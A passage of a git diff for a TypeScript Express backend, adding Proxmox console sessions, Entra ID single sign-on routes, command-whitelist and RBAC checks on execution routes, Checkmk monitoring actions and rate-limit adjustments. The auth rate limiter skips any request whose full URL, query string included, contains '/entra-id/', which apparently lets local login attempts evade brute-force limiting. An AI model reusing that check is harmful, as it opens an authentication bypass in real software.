terminateSession(sessionId: string): Promise { + const entry = this.sessions.get(sessionId); + if (!entry) { + return Promise.resolve(false); + } + + if (entry.session.state === "terminated") { + return Promise.resolve(false); + } + + entry.session.state = "terminated"; + this.sessions.delete(sessionId); + + this.logger.info("Proxmox console session terminated", { + component: COMPONENT, + operation: "terminateSession", + metadata: { sessionId }, + }); + + return Promise.resolve(true); + } + + /** + * Get current session status. + */ + getSessionStatus(sessionId: string): Promise { + const entry = this.sessions.get(sessionId); + if (!entry) { + return Promise.resolve({ + state: "terminated" as const, + startedAt: new Date().toISOString(), + }); + } + + return Promise.resolve({ + state: entry.session.state, + startedAt: entry.session.startedAt, + }); + } + + /** + * List supported transports. + * + * Requirement 9.8 + */ + getSupportedTransports(): ConsoleTransport[] { + return ["websocket-vnc"]; + } + + // ======================================== + // Internal helpers + // ======================================== + + /** + * Parse a node ID in format `proxmox:{node}:{vmid}`. + */ + private parseNodeId(nodeId: string): { node: string; vmid: number } { + const parts = nodeId.split(":"); + if (parts.length !== 3 || parts[0] !== "proxmox") { + throw new Error( + `Invalid nodeId format: ${nodeId}. Expected format: proxmox:{node}:{vmid}`, + ); + } + + const vmid = parseInt(parts[2], 10); + if (isNaN(vmid)) { + throw new Error(`Invalid VMID in nodeId: ${nodeId}`); + } + + return { node: parts[1], vmid }; + } + + /** + * Determine guest type by querying cluster resources. + */ + private async getGuestType( + node: string, + vmid: number, + ): Promise<"qemu" | "lxc"> { + const resources = await this.proxmoxClient.get( + "/api2/json/cluster/resources?type=vm", + ); + + if (!Array.isArray(resources)) { + throw new Error("Unexpected response format from Proxmox API"); + } + + const guest = (resources as ProxmoxGuest[]).find( + (r) => r.node === node && r.vmid === vmid, + ); + + if (!guest) { + throw new ProxmoxError( + `Guest with VMID ${String(vmid)} not found on node ${node}`, + "HTTP_404", + ); + } + + return guest.type; + } + + /** + * Get guest status from the Proxmox API. + */ + private async getGuestStatus( + node: string, + vmid: number, + guestType: "qemu" | "lxc", + ): Promise { + const endpoint = + `/api2/json/nodes/${node}/${guestType}/${String(vmid)}/status/current`; + + const response = (await this.proxmoxClient.get(endpoint)) as { + status: string; + }; + + return response.status; + } + + /** + * Wrap Proxmox API errors into descriptive messages for session failure. + * + * Handles: auth errors (Req 9.5), timeout (Req 9.7), not found (Req 9.7). + */ + private wrapApiError(error: unknown, operation: string): Error { + if (error instanceof ProxmoxAuthenticationError) { + return new Error( + `Authentication failed while attempting to ${operation}: ${error.message}`, + ); + } + + if (error instanceof ProxmoxError) { + if (error.code === "HTTP_404") { + return new Error( + `Resource not found while attempting to ${operation}: ${error.message}`, + ); + } + return new Error( + `Proxmox API error while attempting to ${operation}: ${error.message}`, + ); + } + + if (error instanceof Error) { + if ( + error.message.includes("timed out") || + error.message.includes("ETIMEDOUT") + ) { + return new Error( + `Connection timeout while attempting to ${operation}: ${error.message}`, + ); + } + if ( + error.message.includes("ECONNREFUSED") || + error.message.includes("ENOTFOUND") + ) { + return new Error( + `Connection failed while attempting to ${operation}: ${error.message}`, + ); + } + return new Error( + `Failed to ${operation}: ${error.message}`, + ); + } + + return new Error(`Failed to ${operation}: ${String(error)}`); + } +} diff --git a/backend/src/integrations/puppetdb/PuppetDBService.ts b/backend/src/integrations/puppetdb/PuppetDBService.ts index df594cb4..9654b7d2 100644 --- a/backend/src/integrations/puppetdb/PuppetDBService.ts +++ b/backend/src/integrations/puppetdb/PuppetDBService.ts @@ -1880,7 +1880,7 @@ export class PuppetDBService typeof raw.transaction_uuid === "string" ? raw.transaction_uuid : ""; // Extract metrics with detailed logging - this.log(`Extracting resource metrics for report ${hash}`); + this.log(`Extracting resource metrics for report ${hash}`, "debug"); const resourceMetrics = { total: getMetricValue("resources", "total"), skipped: getMetricValue("resources", "skipped"), diff --git a/backend/src/middleware/securityMiddleware.ts b/backend/src/middleware/securityMiddleware.ts index 6d872db8..aace0ece 100644 --- a/backend/src/middleware/securityMiddleware.ts +++ b/backend/src/middleware/securityMiddleware.ts @@ -65,9 +65,11 @@ export function createRateLimitMiddleware(): (req: Request, res: Response, next: return ipKeyGenerator(req.ip ?? req.socket.remoteAddress ?? ""); }, - // Skip rate limiting for health check and public endpoints + // Skip rate limiting for the health check only. `/api/health` is the sole + // truly public endpoint; `/api/config` requires authentication and must not + // be categorically exempt from per-user limits. skip: (req: Request): boolean => { - const publicPaths = ["/api/health", "/api/config"]; + const publicPaths = ["/api/health"]; return publicPaths.includes(req.path); }, @@ -104,7 +106,31 @@ export function createAuthRateLimitMiddleware(): (req: Request, res: Response, n // Use IP address as the key with proper IPv6 handling keyGenerator: (req: Request): string => ipKeyGenerator(req.ip ?? req.socket.remoteAddress ?? ""), - // Custom handler for rate limit exceeded + // Skip rate limiting for non-credential endpoints that happen to live + // under /api/auth. These are either read-only discovery endpoints or + // authenticated operations that are not brute-force targets. + // + // Also skip Entra ID SSO endpoints: these are not brute-forceable because + // /login is just a redirect to Microsoft, /callback is automated by the + // provider, and /token consumes a cryptographic single-use code with 60s TTL. + skip: (req: Request): boolean => { + // GET /api/auth/providers — public discovery, not an auth attempt + if (req.method === "GET" && req.path === "/providers") return true; + // POST /api/auth/refresh — token refresh, not a credential submission + if (req.method === "POST" && req.path === "/refresh") return true; + // POST /api/auth/logout — requires existing auth, not an attempt + if (req.method === "POST" && req.path === "/logout") return true; + // All Entra ID SSO paths — not brute-forceable credential submissions. + // /login → 302 redirect to Microsoft (no credentials accepted here) + // /callback → automated redirect from Microsoft with one-time code+state + // /token → exchanges a cryptographic single-use auth code (60s TTL) + // Use originalUrl to avoid false matches with local POST /login which + // shares the same req.path when mounted at /api/auth. + if (req.originalUrl.includes("/entra-id/")) return true; + return false; + }, + + // Custom handler for auth rate limit exceeded handler: (_req: Request, res: Response): void => { res.status(429).json({ error: "Too many authentication attempts", diff --git a/backend/src/routes/auth.ts b/backend/src/routes/auth.ts index 84952d07..7b2bd5a9 100644 --- a/backend/src/routes/auth.ts +++ b/backend/src/routes/auth.ts @@ -20,6 +20,7 @@ import { import { ZodError } from "zod"; import { createAuthMiddleware } from "../middleware/authMiddleware"; import { type DIContainer, createDefaultContainer } from "../container/DIContainer"; +import type { EntraIdService } from "../services/EntraIdService"; /** * Zod schema for user registration @@ -81,6 +82,35 @@ export function createAuthRouter( const setupService = new SetupService(databaseService.getAdapter()); const authMiddleware = createAuthMiddleware(databaseService.getAdapter(), jwtSecret); + /** + * Resolve EntraIdService from the container (if registered). + */ + function getEntraIdService(): EntraIdService | null { + const services = (container as unknown as { services: Map }).services; + const service = services.get("entraId") as EntraIdService | undefined; + return service ?? null; + } + + /** + * GET /api/auth/providers + * Returns available authentication methods (public, no auth required) + * + * Requirements: 11.1, 11.2, 11.3, 11.4, 11.5 + */ + router.get( + "/providers", + asyncHandler((_req: Request, res: Response): void => { + const providers: Record = { local: true }; + + const entraIdService = getEntraIdService(); + if (entraIdService) { + providers.entraId = entraIdService.getProviderInfo(); + } + + res.status(200).json(providers); + }), + ); + /** * POST /api/auth/register * Register a new user account @@ -389,6 +419,35 @@ export function createAuthRouter( metadata: { userId: req.user?.userId, username: req.user?.username }, }); + // Check if user session was established via Entra ID + const entraIdService = getEntraIdService(); + if (entraIdService && req.user?.userId) { + try { + const fedIdentity = await databaseService.getAdapter().queryOne<{ + idToken: string | null; + }>( + `SELECT id_token AS "idToken" FROM federated_identities WHERE user_id = ? AND provider = 'entra-id'`, + [req.user.userId], + ); + + if (fedIdentity?.idToken) { + const entraIdLogoutUrl = entraIdService.buildLogoutUrl(fedIdentity.idToken); + res.status(200).json({ + message: "Logout successful", + entraIdLogoutUrl, + }); + return; + } + } catch (lookupErr) { + // Best-effort: federated identity lookup must not fail the logout + logger.warn("Failed to look up federated identity during logout", { + component: "AuthRouter", + operation: "logout", + metadata: { userId: req.user.userId, error: lookupErr instanceof Error ? lookupErr.message : String(lookupErr) }, + }); + } + } + // Return 200 OK with success message res.status(200).json({ message: "Logout successful", diff --git a/backend/src/routes/console.ts b/backend/src/routes/console.ts new file mode 100644 index 00000000..617c85fa --- /dev/null +++ b/backend/src/routes/console.ts @@ -0,0 +1,316 @@ +import { Router, type Request, type Response } from "express"; +import { z } from "zod"; + +import type { DatabaseAdapter } from "../database/DatabaseAdapter"; +import type { IntegrationManager } from "../integrations/IntegrationManager"; +import { createAuthMiddleware } from "../middleware/authMiddleware"; +import { createRbacMiddleware } from "../middleware/rbacMiddleware"; +import { PermissionService } from "../services/PermissionService"; +import type { ConsoleSessionManager } from "../services/ConsoleSessionManager"; +import { type DIContainer, createDefaultContainer } from "../container/DIContainer"; + +import { asyncHandler } from "./asyncHandler"; + +const COMPONENT = "ConsoleRoutes"; + +/** + * Request validation schemas + */ +const CreateSessionSchema = z.object({ + nodeId: z.string().min(1, "nodeId is required"), + provider: z.string().min(1, "provider is required"), +}); + +/** + * Create console router with session management endpoints. + * + * Requirements: 6.2, 6.3, 6.4, 6.5, 6.6, 8.3, 8.6, 10.4 + */ +export function createConsoleRouter( + container: DIContainer = createDefaultContainer(), + integrationManager: IntegrationManager, + sessionManager: ConsoleSessionManager, + db: DatabaseAdapter, +): Router { + const router = Router(); + const logger = container.resolve("logger"); + const config = container.resolve("config"); + const consoleConfig = config.getConsoleConfig(); + + const jwtSecret = config.getJwtSecret(); + const authMiddleware = createAuthMiddleware(db, jwtSecret); + const rbacMiddleware = createRbacMiddleware(db); + const permissionService = new PermissionService(db); + + // All console routes require authentication + router.use(asyncHandler(authMiddleware)); + + /** + * GET /availability/:nodeId + * Get available console options for a node. + * Requirement 6.2 + */ + router.get( + "/availability/:nodeId", + asyncHandler(rbacMiddleware("console", "access")), + asyncHandler(async (req: Request, res: Response): Promise => { + const { nodeId } = req.params; + + logger.info("Fetching console availability", { + component: COMPONENT, + operation: "getAvailability", + metadata: { nodeId }, + }); + + const availability = + await integrationManager.getConsoleAvailability(nodeId); + + res.json({ availability }); + }), + ); + + /** + * POST /sessions + * Create a new console session. + * Requirements: 6.2, 8.6 + */ + router.post( + "/sessions", + asyncHandler(rbacMiddleware("console", "access")), + asyncHandler(async (req: Request, res: Response): Promise => { + const userId = req.user?.userId; + if (!userId) { + res.status(401).json({ + error: { code: "UNAUTHORIZED", message: "Authentication required" }, + }); + return; + } + + const parsed = CreateSessionSchema.safeParse(req.body); + if (!parsed.success) { + res.status(400).json({ + error: { + code: "INVALID_REQUEST", + message: "Invalid request body", + details: parsed.error.errors, + }, + }); + return; + } + + const { nodeId, provider: providerName } = parsed.data; + + logger.info("Creating console session", { + component: COMPONENT, + operation: "createSession", + metadata: { nodeId, provider: providerName, userId }, + }); + + // Check concurrent session limit (Requirement 8.6) + const activeCount = + await sessionManager.getActiveSessionCount(userId); + if (activeCount >= consoleConfig.maxConcurrentSessions) { + res.status(429).json({ + error: { + code: "TOO_MANY_SESSIONS", + message: `Concurrent session limit (${String(consoleConfig.maxConcurrentSessions)}) reached. Terminate an existing session first.`, + }, + }); + return; + } + + // Get the console provider + const provider = + integrationManager.getConsoleProvider(providerName); + if (!provider) { + res.status(404).json({ + error: { + code: "NOT_FOUND", + message: `Console provider '${providerName}' not found`, + }, + }); + return; + } + + // Resolve nodeId to provider-specific ID (e.g. FQDN → proxmox:node:vmid). + // The frontend passes the merged inventory name; providers expect their own format. + let resolvedNodeId = nodeId; + try { + const aggregated = await integrationManager.getAggregatedInventory(true); + const linkedNode = aggregated.nodes.find( + (n) => n.id === nodeId || n.name === nodeId, + ); + const providerSpecificId = linkedNode?.sourceData[providerName]?.id; + if (providerSpecificId) { + resolvedNodeId = providerSpecificId; + } + } catch { + // Proceed with raw nodeId if inventory lookup fails + } + + // Create session via provider + let session; + try { + session = await provider.createSession(resolvedNodeId, userId); + } catch (error) { + const message = + error instanceof Error ? error.message : String(error); + logger.error("Provider failed to create console session", { + component: COMPONENT, + operation: "createSession", + metadata: { nodeId, provider: providerName, userId }, + }, error instanceof Error ? error : undefined); + + res.status(502).json({ + error: { + code: "PROVIDER_ERROR", + message, + }, + }); + return; + } + + // Persist session + await sessionManager.createSession(session); + + res.status(201).json({ session }); + }), + ); + + /** + * DELETE /sessions/:sessionId + * Terminate a console session. + * Requirements: 6.4, 6.5, 6.6 + */ + router.delete( + "/sessions/:sessionId", + asyncHandler(rbacMiddleware("console", "access")), + asyncHandler(async (req: Request, res: Response): Promise => { + const { sessionId } = req.params; + const userId = req.user?.userId; + if (!userId) { + res.status(401).json({ + error: { code: "UNAUTHORIZED", message: "Authentication required" }, + }); + return; + } + + logger.info("Terminating console session", { + component: COMPONENT, + operation: "terminateSession", + metadata: { sessionId, userId }, + }); + + const session = await sessionManager.getSession(sessionId); + if (!session) { + res.status(404).json({ + error: { + code: "NOT_FOUND", + message: `Session '${sessionId}' not found`, + }, + }); + return; + } + + // If not own session, require console:admin (Requirements 6.4, 6.5) + if (session.userId !== userId) { + const hasAdmin = await permissionService.hasPermission( + userId, + "console", + "admin", + ); + if (!hasAdmin) { + res.status(403).json({ + error: { + code: "FORBIDDEN", + message: + "The console:admin permission is required to terminate another user's session", + }, + }); + return; + } + } + + await sessionManager.terminateSession(sessionId, "user_terminated"); + + res.status(204).send(); + }), + ); + + /** + * GET /sessions/:sessionId + * Get session status. + * Requirement 6.3 + */ + router.get( + "/sessions/:sessionId", + asyncHandler(rbacMiddleware("console", "access")), + asyncHandler(async (req: Request, res: Response): Promise => { + const { sessionId } = req.params; + + logger.info("Fetching console session status", { + component: COMPONENT, + operation: "getSessionStatus", + metadata: { sessionId }, + }); + + const session = await sessionManager.getSession(sessionId); + if (!session) { + res.status(404).json({ + error: { + code: "NOT_FOUND", + message: `Session '${sessionId}' not found`, + }, + }); + return; + } + + res.json({ + session: { + sessionId: session.sessionId, + state: session.state, + transport: session.transport, + nodeId: session.nodeId, + provider: session.provider, + startedAt: session.startedAt, + }, + }); + }), + ); + + /** + * POST /sessions/:sessionId/heartbeat + * Record heartbeat for an active session. + * Requirement 6.3 + */ + router.post( + "/sessions/:sessionId/heartbeat", + asyncHandler(rbacMiddleware("console", "access")), + asyncHandler(async (req: Request, res: Response): Promise => { + const { sessionId } = req.params; + + logger.info("Recording console session heartbeat", { + component: COMPONENT, + operation: "heartbeat", + metadata: { sessionId }, + }); + + const session = await sessionManager.getSession(sessionId); + if (!session) { + res.status(404).json({ + error: { + code: "NOT_FOUND", + message: `Session '${sessionId}' not found`, + }, + }); + return; + } + + await sessionManager.heartbeat(sessionId); + + res.status(204).send(); + }), + ); + + return router; +} diff --git a/backend/src/routes/debug.ts b/backend/src/routes/debug.ts index 3f73b965..ac7449b9 100644 --- a/backend/src/routes/debug.ts +++ b/backend/src/routes/debug.ts @@ -115,8 +115,10 @@ function cleanupOldLogs(): void { } } -// Run cleanup every minute -setInterval(cleanupOldLogs, 60 * 1000); +// Run cleanup every minute. unref() so this timer never keeps the process +// (or a reused test worker) alive or adds event-loop load after shutdown. +const cleanupInterval = setInterval(cleanupOldLogs, 60 * 1000); +cleanupInterval.unref(); /** * Create debug router diff --git a/backend/src/routes/entraIdAuth.ts b/backend/src/routes/entraIdAuth.ts new file mode 100644 index 00000000..97e29360 --- /dev/null +++ b/backend/src/routes/entraIdAuth.ts @@ -0,0 +1,264 @@ +import { Router, type Request, type Response } from "express"; +import { z } from "zod"; +import { asyncHandler } from "./asyncHandler"; +import { type EntraIdService, EntraIdError, ENTRA_ID_ERROR_CODES } from "../services/EntraIdService"; +import type { DatabaseService } from "../database/DatabaseService"; +import type { DIContainer } from "../container/DIContainer"; + +const TokenExchangeSchema = z.object({ + code: z.string().min(1, "Authorization code is required"), +}); + +/** + * Map EntraIdError codes to HTTP status codes. + */ +function httpStatusForEntraIdError(code: string): number { + switch (code) { + case ENTRA_ID_ERROR_CODES.INVALID_STATE: + return 400; + case ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE: + return 400; + case ENTRA_ID_ERROR_CODES.TOKEN_EXCHANGE_FAILED: + case ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN: + case ENTRA_ID_ERROR_CODES.AUTH_PROVIDER_ERROR: + case ENTRA_ID_ERROR_CODES.MISSING_CLAIMS: + return 401; + case ENTRA_ID_ERROR_CODES.JWKS_UNAVAILABLE: + return 503; + case ENTRA_ID_ERROR_CODES.PROVISIONING_FAILED: + return 500; + default: + return 500; + } +} + +/** + * Derive the frontend base URL from the configured redirectUri. + * The redirectUri is something like "https://app.example.com/api/auth/entra-id/callback". + * We want the origin: "https://app.example.com". + */ +function deriveFrontendUrl(redirectUri: string): string { + try { + const parsed = new URL(redirectUri); + return parsed.origin; + } catch { + return redirectUri; + } +} + +/** + * Create Entra ID authentication router. + * + * Endpoints (mounted at /api/auth/entra-id): + * GET /login — 302 redirect to Entra ID authorization endpoint + * GET /callback — handle OAuth callback, redirect to frontend with auth code + * POST /token — exchange single-use auth code for Pabawi JWT pair + * + * All endpoints return 404 when Entra ID is not enabled (service absent from container). + */ +export function createEntraIdAuthRouter( + _databaseService: DatabaseService, + container: DIContainer, +): Router { + const router = Router(); + const logger = container.resolve("logger"); + + /** + * Resolve EntraIdService from the container's service map. + * Returns null when Entra ID is not enabled. + */ + function getEntraIdService(): EntraIdService | null { + if (!container.has("entraId")) { + return null; + } + return container.resolve("entraId") ?? null; + } + + /** + * Middleware that gates all endpoints behind Entra ID availability. + */ + function requireEntraId( + _req: Request, + res: Response, + entraIdService: EntraIdService | null, + ): entraIdService is EntraIdService { + if (!entraIdService) { + res.status(404).json({ + error: { code: "NOT_FOUND", message: "Not found" }, + }); + return false; + } + return true; + } + + // ─── GET /login ───────────────────────────────────────────────────────────── + router.get( + "/login", + asyncHandler(async (_req: Request, res: Response): Promise => { + const entraIdService = getEntraIdService(); + if (!requireEntraId(_req, res, entraIdService)) return; + + try { + const { url } = await entraIdService.generateAuthorizationUrl(); + res.redirect(302, url); + } catch (error) { + if (error instanceof EntraIdError) { + const status = httpStatusForEntraIdError(error.code); + res.status(status).json({ + error: { code: error.code, message: error.message }, + }); + return; + } + + logger.error("Unexpected error during login redirect", { + component: "EntraIdAuthRouter", + operation: "login", + }, error instanceof Error ? error : undefined); + + res.status(500).json({ + error: { + code: "SERVER_CONFIGURATION_ERROR", + message: "Server configuration problem", + }, + }); + } + }), + ); + + // ─── GET /callback ────────────────────────────────────────────────────────── + router.get( + "/callback", + asyncHandler(async (req: Request, res: Response): Promise => { + const entraIdService = getEntraIdService(); + if (!requireEntraId(req, res, entraIdService)) return; + + // Handle error parameter from Entra ID (Requirement 3.9) + const errorParam = req.query.error as string | undefined; + if (errorParam) { + const errorDescription = + (req.query.error_description as string | undefined) ?? "Authentication denied by provider"; + + logger.warn("Entra ID returned error on callback", { + component: "EntraIdAuthRouter", + operation: "callback", + metadata: { error: errorParam }, + }); + + res.status(401).json({ + error: { + code: ENTRA_ID_ERROR_CODES.AUTH_PROVIDER_ERROR, + message: errorDescription, + details: { error: errorParam, errorDescription }, + }, + }); + return; + } + + const code = req.query.code as string | undefined; + const state = req.query.state as string | undefined; + + if (!code || !state) { + res.status(400).json({ + error: { + code: ENTRA_ID_ERROR_CODES.INVALID_STATE, + message: "Missing code or state parameter", + }, + }); + return; + } + + try { + const authCodeEntry = await entraIdService.handleCallback(code, state); + + // Derive frontend URL and redirect with the single-use auth code + const configService = container.resolve("config"); + const entraIdConfig = configService.getEntraIdConfig(); + if (!entraIdConfig) { + res.status(500).json({ + error: { + code: "SERVER_CONFIGURATION_ERROR", + message: "Server configuration problem", + }, + }); + return; + } + + const frontendUrl = deriveFrontendUrl(entraIdConfig.redirectUri); + res.redirect(302, `${frontendUrl}?code=${encodeURIComponent(authCodeEntry.code)}`); + } catch (error) { + if (error instanceof EntraIdError) { + const status = httpStatusForEntraIdError(error.code); + res.status(status).json({ + error: { code: error.code, message: error.message }, + }); + return; + } + + logger.error("Unexpected error during callback processing", { + component: "EntraIdAuthRouter", + operation: "callback", + }, error instanceof Error ? error : undefined); + + res.status(500).json({ + error: { + code: "SERVER_CONFIGURATION_ERROR", + message: "Server configuration problem", + }, + }); + } + }), + ); + + // ─── POST /token ──────────────────────────────────────────────────────────── + router.post( + "/token", + asyncHandler(async (req: Request, res: Response): Promise => { + const entraIdService = getEntraIdService(); + if (!requireEntraId(req, res, entraIdService)) return; + + const parseResult = TokenExchangeSchema.safeParse(req.body); + if (!parseResult.success) { + res.status(400).json({ + error: { + code: ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE, + message: "Authorization code is required", + }, + }); + return; + } + + try { + const { accessToken, refreshToken, user } = + await entraIdService.exchangeAuthCode(parseResult.data.code); + + res.status(200).json({ + token: accessToken, + refreshToken, + user, + }); + } catch (error) { + if (error instanceof EntraIdError) { + const status = httpStatusForEntraIdError(error.code); + res.status(status).json({ + error: { code: error.code, message: error.message }, + }); + return; + } + + logger.error("Unexpected error during token exchange", { + component: "EntraIdAuthRouter", + operation: "token", + }, error instanceof Error ? error : undefined); + + res.status(500).json({ + error: { + code: "SERVER_CONFIGURATION_ERROR", + message: "Server configuration problem", + }, + }); + } + }), + ); + + return router; +} diff --git a/backend/src/routes/executions.ts b/backend/src/routes/executions.ts index 92be6fe5..4198ac0b 100644 --- a/backend/src/routes/executions.ts +++ b/backend/src/routes/executions.ts @@ -1,4 +1,4 @@ -import { Router, type Request, type Response } from "express"; +import { Router, type Request, type Response, type RequestHandler } from "express"; import { z } from "zod"; import type { ExecutionRepository, @@ -11,6 +11,8 @@ import type { ExecutionQueue } from "../services/ExecutionQueue"; import { asyncHandler } from "./asyncHandler"; import type { BatchExecutionService } from "../services/BatchExecutionService"; import { type DIContainer, createDefaultContainer } from "../container/DIContainer"; +import type { BoltCommandWhitelistService } from "../validation/CommandWhitelistService"; +import { BoltCommandNotAllowedError } from "../validation/CommandWhitelistService"; /** * Request validation schemas @@ -52,17 +54,45 @@ const BatchExecutionRequestSchema = z.object({ /** * Create executions router + * + * @param rbacExecuteMiddleware - Optional RBAC middleware (e.g. `bolt:execute`) + * applied to all command-executing / mutating routes (`/batch`, + * `/:id/re-execute`, `/:id/cancel`, `/batch/:batchId/cancel`). When omitted + * (tests), those routes fall back to a passthrough. In production `server.ts` + * MUST supply it so these routes match the authorization of the single-node + * command route. + * @param commandWhitelistService - Optional whitelist validator. When supplied, + * `type: "command"` batch/re-execute requests are validated against the same + * whitelist (and shell-metacharacter block) that guards the single-node route. */ export function createExecutionsRouter( executionRepository: ExecutionRepository, executionQueue?: ExecutionQueue, batchExecutionService?: BatchExecutionService, container: DIContainer = createDefaultContainer(), + rbacExecuteMiddleware?: RequestHandler, + commandWhitelistService?: BoltCommandWhitelistService, ): Router { const router = Router(); const logger = container.resolve("logger"); const expertModeService = container.resolve("expertMode"); + // Fall back to a passthrough when no RBAC middleware is injected (e.g. in + // unit tests that mount the router directly without the DI/auth stack). + const rbacExecute: RequestHandler = + rbacExecuteMiddleware ?? ((_req, _res, next): void => { next(); }); + + /** + * Validate a command against the whitelist for command-type executions. + * Throws BoltCommandNotAllowedError when the command is rejected. No-op when + * the type is not "command" or no whitelist service was injected. + */ + const validateCommandOrThrow = (type: string, action: string): void => { + if (type === "command" && commandWhitelistService) { + commandWhitelistService.validateCommand(action); + } + }; + /** * GET /api/executions * Return paginated execution list with filters @@ -754,6 +784,7 @@ export function createExecutionsRouter( */ router.post( "/:id/re-execute", + rbacExecute, asyncHandler(async (req: Request, res: Response): Promise => { const startTime = Date.now(); const requestId = req.id ?? expertModeService.generateRequestId(); @@ -830,6 +861,31 @@ export function createExecutionsRouter( executionTool: originalExecution.executionTool, }; + // Re-validate command-type actions against the whitelist. A stored + // execution's action must not be trusted just because it was accepted + // once; whitelist policy may have tightened, and modifications can + // introduce a new command string. + try { + validateCommandOrThrow(executionData.type, executionData.action); + } catch (error) { + if (error instanceof BoltCommandNotAllowedError) { + logger.warn("Re-execution command not allowed by whitelist", { + component: "ExecutionsRouter", + operation: "createReExecution", + metadata: { action: executionData.action, reason: error.reason }, + }); + res.status(403).json({ + error: { + code: "COMMAND_NOT_ALLOWED", + message: error.message, + details: error.reason, + }, + }); + return; + } + throw error; + } + logger.debug("Creating re-execution with parameters", { component: "ExecutionsRouter", operation: "createReExecution", @@ -1280,6 +1336,7 @@ export function createExecutionsRouter( */ router.post( "/:id/cancel", + rbacExecute, asyncHandler(async (req: Request, res: Response): Promise => { const startTime = Date.now(); const requestId = req.id ?? expertModeService.generateRequestId(); @@ -1558,6 +1615,7 @@ export function createExecutionsRouter( */ router.post( "/batch", + rbacExecute, asyncHandler(async (req: Request, res: Response): Promise => { const startTime = Date.now(); const requestId = req.id ?? expertModeService.generateRequestId(); @@ -1641,6 +1699,30 @@ export function createExecutionsRouter( const batchRequest = validationResult.data; + // Validate command-type actions against the whitelist (same policy as + // the single-node route). Blocks shell metacharacters and non-whitelisted + // commands before any execution is enqueued. + try { + validateCommandOrThrow(batchRequest.type, batchRequest.action); + } catch (error) { + if (error instanceof BoltCommandNotAllowedError) { + logger.warn("Batch command not allowed by whitelist", { + component: "ExecutionsRouter", + operation: "createBatch", + metadata: { action: batchRequest.action, reason: error.reason }, + }); + res.status(403).json({ + error: { + code: "COMMAND_NOT_ALLOWED", + message: error.message, + details: error.reason, + }, + }); + return; + } + throw error; + } + // Get user ID from request (set by auth middleware) const userId: string = req.user?.userId ?? "unknown"; @@ -1969,6 +2051,7 @@ export function createExecutionsRouter( */ router.post( "/batch/:batchId/cancel", + rbacExecute, asyncHandler(async (req: Request, res: Response): Promise => { const startTime = Date.now(); const requestId = req.id ?? expertModeService.generateRequestId(); diff --git a/backend/src/routes/integrations/monitoringActions.ts b/backend/src/routes/integrations/monitoringActions.ts new file mode 100644 index 00000000..7b031f94 --- /dev/null +++ b/backend/src/routes/integrations/monitoringActions.ts @@ -0,0 +1,237 @@ +/** + * Checkmk Monitoring Action Routes (write) + * + * Mutating actions against the Checkmk monitoring system: + * - Acknowledge a service problem + * - Schedule a service downtime window + * + * RBAC (`checkmk:write`) is applied at the mount level in server.ts. These + * routes are intentionally separate from the read-only overview/services + * routers so the write permission is never required to read monitoring data. + * + * Every successful action is recorded in the audit log with the acting user, + * the target host/service, and the supplied comment. + */ + +import { Router, type Request, type Response } from "express"; +import { z } from "zod"; +import type { IntegrationManager } from "../../integrations/IntegrationManager"; +import type { CheckmkPlugin } from "../../integrations/checkmk/CheckmkPlugin"; +import type { DatabaseService } from "../../database/DatabaseService"; +import { AuditLoggingService } from "../../services/AuditLoggingService"; +import { asyncHandler } from "../asyncHandler"; +import { + type DIContainer, + createDefaultContainer, +} from "../../container/DIContainer"; + +/** 30-second timeout for upstream Checkmk API calls. */ +const UPSTREAM_TIMEOUT_MS = 30_000; + +/** Maximum downtime window we accept in one request: 7 days. */ +const MAX_DOWNTIME_MS = 7 * 24 * 60 * 60 * 1000; + +const AcknowledgeSchema = z + .object({ + hostname: z.string().min(1).max(255), + serviceDescription: z.string().min(1).max(512), + comment: z.string().min(1).max(1000), + sticky: z.boolean().optional().default(true), + persistent: z.boolean().optional().default(false), + notify: z.boolean().optional().default(true), + }) + .strict(); + +const DowntimeSchema = z + .object({ + hostname: z.string().min(1).max(255), + serviceDescription: z.string().min(1).max(512), + comment: z.string().min(1).max(1000), + startTime: z.string().datetime(), + endTime: z.string().datetime(), + }) + .strict() + .refine((data) => new Date(data.endTime) > new Date(data.startTime), { + message: "endTime must be after startTime", + path: ["endTime"], + }) + .refine( + (data) => + new Date(data.endTime).getTime() - new Date(data.startTime).getTime() <= + MAX_DOWNTIME_MS, + { message: "downtime window must not exceed 7 days", path: ["endTime"] }, + ); + +/** + * Create the Checkmk monitoring action router (write operations). + * + * Endpoints (mounted under /api/monitoring): + * POST /acknowledge — acknowledge a service problem + * POST /downtime — schedule a service downtime window + */ +export function createMonitoringActionsRouter( + integrationManager: IntegrationManager, + databaseService: DatabaseService, + container: DIContainer = createDefaultContainer(), +): Router { + const router = Router(); + const logger = container.resolve("logger"); + const auditLogger = new AuditLoggingService(databaseService.getAdapter()); + + function getCheckmkPlugin(): CheckmkPlugin | null { + return integrationManager.getInformationSource( + "checkmk", + ) as CheckmkPlugin | null; + } + + router.post( + "/acknowledge", + asyncHandler(async (req: Request, res: Response): Promise => { + const plugin = getCheckmkPlugin(); + if (!plugin?.isInitialized()) { + res.status(503).json({ + error: { + code: "CHECKMK_NOT_CONFIGURED", + message: "Checkmk monitoring integration is not configured", + }, + }); + return; + } + + const parsed = AcknowledgeSchema.safeParse(req.body); + if (!parsed.success) { + res.status(400).json({ + error: { + code: "INVALID_REQUEST", + message: "Invalid acknowledge request", + details: parsed.error.errors, + }, + }); + return; + } + + const { hostname, serviceDescription, comment, sticky, persistent, notify } = + parsed.data; + + const result = await Promise.race([ + plugin.acknowledgeServiceProblem({ + hostname, + serviceDescription, + comment, + sticky, + persistent, + notify, + }), + new Promise((_, reject) => { + setTimeout(() => { + reject(new Error("Upstream timeout")); + }, UPSTREAM_TIMEOUT_MS); + }), + ]); + + if (!result.success) { + logger.error("Checkmk acknowledge failed", { + component: "MonitoringActionsRouter", + integration: "checkmk", + operation: "acknowledge", + metadata: { hostname, serviceDescription, error: result.error }, + }); + res.status(502).json({ + error: { + code: "UPSTREAM_ERROR", + message: `Checkmk acknowledge failed: ${result.error ?? "unknown error"}`, + }, + }); + return; + } + + if (req.user) { + await auditLogger.logAdminAction( + "checkmk_acknowledge", + req.user.userId, + { hostname, serviceDescription, comment, sticky, persistent, notify }, + req.ip, + req.get("user-agent") ?? undefined, + ); + } + + res.json({ success: true }); + }), + ); + + router.post( + "/downtime", + asyncHandler(async (req: Request, res: Response): Promise => { + const plugin = getCheckmkPlugin(); + if (!plugin?.isInitialized()) { + res.status(503).json({ + error: { + code: "CHECKMK_NOT_CONFIGURED", + message: "Checkmk 